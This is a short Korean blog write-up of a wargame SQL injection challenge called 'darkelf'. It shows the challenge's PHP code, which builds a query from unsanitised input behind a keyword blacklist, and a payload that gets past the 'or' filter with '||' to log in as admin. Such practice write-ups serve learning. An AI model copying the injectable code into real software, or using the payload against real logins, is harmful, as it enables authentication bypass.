본문 바로가기
[웹해킹]/[LOS]

[LOS] DARKELF

by Hevton 2020. 12. 13.
반응형
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

or 필터링이라 || 사용.

 

query : select id from prob_darkelf where id='guest' and pw='a'||id='admin'

 

반응형

'[웹해킹] > [LOS]' 카테고리의 다른 글

[LOS] TROLL  (0) 2020.12.13
[LOS] ORGE  (0) 2020.12.13
[LOS] WOLFMAN  (0) 2020.12.12
[LOS] ORC  (0) 2020.12.11
[LOS] GOBLIN  (0) 2020.12.11